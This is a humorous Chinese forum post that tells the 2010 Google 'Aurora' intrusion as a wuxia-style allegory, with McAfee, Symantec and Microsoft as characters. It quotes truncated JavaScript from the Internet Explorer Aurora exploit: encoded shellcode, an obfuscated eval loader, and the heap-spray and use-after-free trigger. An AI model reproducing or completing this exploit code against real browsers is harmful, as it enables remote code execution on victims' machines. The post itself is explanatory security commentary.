主题：【原创】酱油社综述: Google为什么突然火冒三丈？ -- moudy
【酱油社综述】几天前Google掌门突然对全世界表示：俺闺女对兲朝政府忍无可忍了！他家规矩大也就罢了，俺闺女咬咬牙认了。没想到这厮还有流氓习性，前日趁人不备竟直奔俺闺女来了。可怜俺这“不作恶”的黄花闺女，不但卖了艺，还被卖了身！是可忍孰不可忍！不给俺个交代，这厮家今后决计是不能去了。1
此言一出，一片哗然。有Yahoo者随声附和：就是就是，俺就没少被欺负。也有Microsoft当家的表示情绪稳定，说：“干这行的天天都得应付不知道打哪儿跑来耍流氓的，不是啥大事。俺不明白Google岗前培训是怎么教的，居然要死要活的。” 2
比之各家表态，各种小道消息更是甚嚣尘上。有说Google傍上富婆的3，有说他家闺女被拍了裸照的，更有说谷歌大小姐已经遣散丫鬟、自己投井了的4。都是有鼻子有眼，不由得你不信的。
正吵吵着，又有消息传来。金牌捕头McAfee已经接了这个案子。按他的意思，这回Google的闺女应该是被拍了裸照，虽然程度也就是在半裸到打码之间，但对名声尤为看中的Google，也算得上大事。5
这还不算完，据McAfee讲，被糟蹋了的可不止Google的闺女...... 另有硅谷全村上上下下老老少少30多户都被人拍了片子。连著名捕头Symantec自己都着了道！作案手法则是江湖上泛滥已久的下迷药。6
下迷药？
江湖上曾有段时间迷药横行。常人练的内功若有低级漏洞，又遇上钻这空子的迷药，便能被轻易迷了心窍。轻者五官扭曲；重者昏迷不醒；更可怕的，自己浑然不知，却对人知无不言言无不尽；当然被一剂药搞死的也不是没有。总之弄得人人自危不敢出门。其中尤以MS家的功夫漏洞最多、危害最甚。以至MS闭关多日，弄出了几百个修行口诀出来，以传教众。终于刹住了这股歪风邪气。大家也过了段太平日子。
但是这回的迷药真是神仙放屁----不同凡响，只见McAfee边擦口水边感慨：这手法真是高啊，效果真是NB啊，收获真TM大啊...... “到底是什么药？！”众人大怒。McAfee回过神来忙搬出一摞案卷，抽出一页念到：“据查，这药的名字叫‘曙光’，西文‘Aurora’，方子是7
<html><script>var sc = unescape("
%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805
%uffe2%uffff%u3931%ud8db%u87d8%u79bc%ud8e8%ud8d8%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2
%u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0%ubdab%u8caa%u9e53%u30d4%uda37%ud8d8%u3053
%ud9b2%u3081%udbb9%ud8d8%u213a%ub7b0%ud8b6%ub0d8%uaaad%ub5b4%u538c%ud49e%u0830%ud8da%u53d8......");
var sss = Array(826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707, 280,
238, 259, 819, 336, 693, 336, 700, 259, 819, 336, 693, 336, 700, 238, 287, 413, 224, 833,
728, 735, 756, 707, 280, 770, 322, 756, 707, 770, 721, 812, 728, 420, 427, 371, 350, 364, .....);
var arr = new Array;
for (var i = 0; i < sss.length; i ++ ){
arr[i] = String.fromCharCode(sss[i]/7); } var cc=arr.toString();cc=cc.replace(/ ,/ g, ""
);
cc = cc.replace(/@/g, ",");
eval(cc);
var x1 = new Array();
for (i = 0; i < 200; i ++ ){
x1[i] = document.createElement("COMMENT");
x1[i].data = "abc";
}
;
var e1 = null;
function ev1(evt){
e1 = document.createEventObject(evt);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 50);
}
function ev2(){
p = "
\u0c0d\u0c0d\u0c0d.....";
for (i = 0; i < x1.length; i ++ ){
x1[i].data = p;
}
;
var t = e1.srcElement;
}
</script><span id="sp1"><IMG SRC="aaa.gif" onload="ev1(event)"></span></body></html>
众人听到这里大窘，这不会又是对付那谁家的方子吧？McAfee还在念：“只要练过MS IE 6/7/8的人，碰上这药就算交代了。不信的请看我们刚刚做好的的迷奸Demo”
[FLASH]http://vimeo.com/moogaloop.swf?clip_id=8771582&server=vimeo.com&show_title=0&show_byline=0&show_portrait=0&color=00ADEF&fullscreen=1[/FLASH]
看完录像，大家的目光齐刷刷的转向Microsoft当家的。见他老人家压根就没听案子，还在那跟人唠叨：“不是啥大事啊。俺不明白Google岗前培训是怎么教的，居然要死要活的.....”
本帖一共被 2 帖 引用 (帖内工具实现)
恭喜：你意外获得【通宝】一枚
鲜花已经成功送出，可通过工具取消
提示：此次送花为此次送花为【有效送花赞扬，涨乐善、声望】。
[FLASH]http://player.youku.com/player.php/sid/XMTQ2NDA1NTc2/v.swf[/FLASH]
请多来几篇！！！
属于质量很高的漏洞了，适用平台广泛，利用方便。本来它的曝光本身就该是大新闻，可惜受害者太出名，把它的光芒都遮盖住了。
相关资料可以参考的：
http://blog.duba.net/post/ie0day-hack-aurora.html